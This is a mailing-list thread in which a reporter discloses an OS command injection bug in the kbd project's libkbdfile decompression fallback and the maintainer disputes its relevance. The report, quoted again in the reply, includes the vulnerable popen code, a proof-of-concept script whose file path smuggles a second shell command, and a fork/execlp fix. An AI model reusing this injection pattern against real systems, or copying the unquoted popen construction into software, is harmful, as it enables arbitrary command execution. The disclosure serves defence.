* Security: OS command injection.
@ 2026-07-16 7:47 Sakib Sarkar
2026-07-16 10:11 ` Alexey Gladkov
0 siblings, 1 reply; 2+ messages in thread
From: Sakib Sarkar @ 2026-07-16 7:47 UTC (permalink / raw)
To: gladkov.alexey@gmail.com; +Cc: kbd
[-- Attachment #1.1: Type: text/plain, Size: 121 bytes --]
Hello,
The report is a markdown file and attached.
Please let me know if more information is needed
Thanks
Sakib Sarkar
[-- Attachment #1.2: Type: text/html, Size: 1057 bytes --]
[-- Attachment #2: kbdfile-command-injection-report.md --]
[-- Type: text/markdown, Size: 3954 bytes --]
# Command Injection in libkbdfile Decompression Fallback
**CWE:** CWE-78 (OS Command Injection)
**Component:** `src/libkbdfile/kbdfile.c` — `kbd` project (legionus/kbd)
**Affected consumers:** `loadkeys`, `setfont`, `psfxtable`
---
## 1. Summary
`libkbdfile`, the shared file-opening layer used by `loadkeys`, `setfont`, and `psfxtable`, builds a shell command string from an unsanitized file path and executes it via `popen()` when its in-process decompression fallback is unavailable. A path containing shell metacharacters results in arbitrary command execution in the context of the process running the affected tool.
Because the vulnerable code lives in the shared library rather than in any individual binary, **every consumer of libkbdfile inherits the bug** — this is not specific to one tool's argument parsing.
---
## 2. Technical Details
### 2.1 Root cause
In `src/libkbdfile/kbdfile.c`:
- `open_pathname()` inspects the first two bytes of a file for known compression magic. If a match is found, it first tries the corresponding in-process decompressor (loaded at runtime via `dlopen` against libz/liblzma/libzstd/libbz2).
- If that decompressor is unavailable (library not installed, `dlopen` fails) and `KBDFILE_IGNORE_DECOMP_UTILS` is not set, it falls back to `pipe_open()` (kbdfile.c:149–167):
```c
static int
pipe_open(const struct decompressor *dc, struct kbdfile *fp)
{
char *pipe_cmd;
pipe_cmd = malloc(strlen(dc->cmd) + strlen(fp->pathname) + 2);
if (pipe_cmd == NULL)
return -1;
sprintf(pipe_cmd, "%s %s", dc->cmd, fp->pathname);
fp->fd = popen(pipe_cmd, "r");
...
}
```
`fp->pathname` is the caller-supplied path, set directly via `kbdfile_set_pathname()` or constructed with an appended suffix (`.gz`/`.bz2`/`.xz`/`.zst`) in `maybe_pipe_open()`. It is never shell-quoted, escaped, or validated. `popen()` invokes `/bin/sh -c` on the resulting string, so shell metacharacters (`;`, `|`, `` ` ``, `$()`, etc.) in the path are interpreted by the shell rather than treated as a literal filename.
### 2.2 Trigger conditions
The vulnerable path is reached when:
1. A file's magic bytes (or suffix, via `maybe_pipe_open()`'s retry logic) match a supported compression format, **and**
2. The in-process decompressor for that format is unavailable at runtime (missing shared library dependency).
This makes the bug latent/environment-dependent: on systems where zlib/liblzma/etc. are always present, the in-process path is taken and the shell fallback is never reached. On minimal or stripped-down systems (containers, embedded images, custom installs), the fallback becomes live.
### 2.3 Proof of concept
```sh
#!/bin/sh
# PoC: command injection via unsanitized path in kbdfile pipe_open fallback
set -e
WORK="/tmp/x; touch /tmp/PWNED #"
mkdir -p "$WORK"
printf '\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\xff' > "$WORK/evil.gz"
loadkeys "$WORK/evil.gz" 2>/dev/null || true
[ -e /tmp/PWNED ] && echo "VULNERABLE" || echo "not triggered (in-process decompressor present)"
```
With libz absent, `loadkeys` resolves the gzip magic, the in-process decompressor returns `NULL`, and `pipe_open()` executes `gzip -d -c /tmp/x; touch /tmp/PWNED #/evil.gz` via the shell — the `;` terminates the intended command and runs the injected one.
---
## 3. Remediation
1. **Primary fix — eliminate the shell entirely.** Replace the `popen()`-based fallback with a direct `fork()`/`execvp()` (or `posix_spawn`) call using an argv array, so the path is never interpreted by `/bin/sh`:
```c
static int
pipe_open(const struct decompressor *dc, struct kbdfile *fp)
{
int pipefd[2];
pid_t pid;
if (pipe(pipefd) != 0)
return -1;
pid = fork();
if (pid == 0) {
dup2(pipefd[1], STDOUT_FILENO);
close(pipefd[0]);
close(pipefd[1]);
execlp(dc->cmd_token, dc->cmd_token, fp->pathname, (char *)NULL);
_exit(127);
}
close(pipefd[1]);
fp->fd = fdopen(pipefd[0], "r");
return (fp->fd == NULL) ? -1 : 0;
}
```
^ permalink raw reply [flat|nested] 2+ messages in thread
* Re: Security: OS command injection.
2026-07-16 7:47 Security: OS command injection Sakib Sarkar
@ 2026-07-16 10:11 ` Alexey Gladkov
0 siblings, 0 replies; 2+ messages in thread
From: Alexey Gladkov @ 2026-07-16 10:11 UTC (permalink / raw)
To: Sakib Sarkar; +Cc: kbd
On Thu, Jul 16, 2026 at 02:47:35PM +0700, Sakib Sarkar wrote:
> Hello,
> The report is a markdown file and attached.
> Please let me know if more information is needed
Thanks for the report.
> Thanks
> Sakib Sarkar
> # Command Injection in libkbdfile Decompression Fallback
>
> **CWE:** CWE-78 (OS Command Injection)
> **Component:** `src/libkbdfile/kbdfile.c` — `kbd` project (legionus/kbd)
> **Affected consumers:** `loadkeys`, `setfont`, `psfxtable`
psfxtable is not intended for use on the system at all.
You're missing the point that the `loadkeys` and `setfont` tools should be
controlled exclusively by root. The root should not execute them with
untrusted arguments; otherwise, an incorrect filename will be the least of
his problems.
I don't find the described PoC relevant because if an attacker controls
the path to the keymap, he will be able to gain control of the system in
another way by using the keymap.
> ---
>
> ## 1. Summary
>
> `libkbdfile`, the shared file-opening layer used by `loadkeys`, `setfont`, and `psfxtable`, builds a shell command string from an unsanitized file path and executes it via `popen()` when its in-process decompression fallback is unavailable. A path containing shell metacharacters results in arbitrary command execution in the context of the process running the affected tool.
>
> Because the vulnerable code lives in the shared library rather than in any individual binary, **every consumer of libkbdfile inherits the bug** — this is not specific to one tool's argument parsing.
>
> ---
>
> ## 2. Technical Details
>
> ### 2.1 Root cause
>
> In `src/libkbdfile/kbdfile.c`:
>
> - `open_pathname()` inspects the first two bytes of a file for known compression magic. If a match is found, it first tries the corresponding in-process decompressor (loaded at runtime via `dlopen` against libz/liblzma/libzstd/libbz2).
> - If that decompressor is unavailable (library not installed, `dlopen` fails) and `KBDFILE_IGNORE_DECOMP_UTILS` is not set, it falls back to `pipe_open()` (kbdfile.c:149–167):
>
> ```c
> static int
> pipe_open(const struct decompressor *dc, struct kbdfile *fp)
> {
> char *pipe_cmd;
>
> pipe_cmd = malloc(strlen(dc->cmd) + strlen(fp->pathname) + 2);
> if (pipe_cmd == NULL)
> return -1;
>
> sprintf(pipe_cmd, "%s %s", dc->cmd, fp->pathname);
>
> fp->fd = popen(pipe_cmd, "r");
> ...
> }
> ```
>
> `fp->pathname` is the caller-supplied path, set directly via `kbdfile_set_pathname()` or constructed with an appended suffix (`.gz`/`.bz2`/`.xz`/`.zst`) in `maybe_pipe_open()`. It is never shell-quoted, escaped, or validated. `popen()` invokes `/bin/sh -c` on the resulting string, so shell metacharacters (`;`, `|`, `` ` ``, `$()`, etc.) in the path are interpreted by the shell rather than treated as a literal filename.
>
> ### 2.2 Trigger conditions
>
> The vulnerable path is reached when:
> 1. A file's magic bytes (or suffix, via `maybe_pipe_open()`'s retry logic) match a supported compression format, **and**
> 2. The in-process decompressor for that format is unavailable at runtime (missing shared library dependency).
>
> This makes the bug latent/environment-dependent: on systems where zlib/liblzma/etc. are always present, the in-process path is taken and the shell fallback is never reached. On minimal or stripped-down systems (containers, embedded images, custom installs), the fallback becomes live.
>
> ### 2.3 Proof of concept
>
> ```sh
> #!/bin/sh
> # PoC: command injection via unsanitized path in kbdfile pipe_open fallback
> set -e
> WORK="/tmp/x; touch /tmp/PWNED #"
> mkdir -p "$WORK"
> printf '\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\xff' > "$WORK/evil.gz"
> loadkeys "$WORK/evil.gz" 2>/dev/null || true
> [ -e /tmp/PWNED ] && echo "VULNERABLE" || echo "not triggered (in-process decompressor present)"
> ```
>
> With libz absent, `loadkeys` resolves the gzip magic, the in-process decompressor returns `NULL`, and `pipe_open()` executes `gzip -d -c /tmp/x; touch /tmp/PWNED #/evil.gz` via the shell — the `;` terminates the intended command and runs the injected one.
>
> ---
>
> ## 3. Remediation
>
> 1. **Primary fix — eliminate the shell entirely.** Replace the `popen()`-based fallback with a direct `fork()`/`execvp()` (or `posix_spawn`) call using an argv array, so the path is never interpreted by `/bin/sh`:
>
> ```c
> static int
> pipe_open(const struct decompressor *dc, struct kbdfile *fp)
> {
> int pipefd[2];
> pid_t pid;
>
> if (pipe(pipefd) != 0)
> return -1;
>
> pid = fork();
> if (pid == 0) {
> dup2(pipefd[1], STDOUT_FILENO);
> close(pipefd[0]);
> close(pipefd[1]);
> execlp(dc->cmd_token, dc->cmd_token, fp->pathname, (char *)NULL);
> _exit(127);
> }
> close(pipefd[1]);
> fp->fd = fdopen(pipefd[0], "r");
> return (fp->fd == NULL) ? -1 : 0;
> }
> ```
--
Rgrds, legion
^ permalink raw reply [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-07-16 10:12 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-16 7:47 Security: OS command injection Sakib Sarkar
2026-07-16 10:11 ` Alexey Gladkov
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.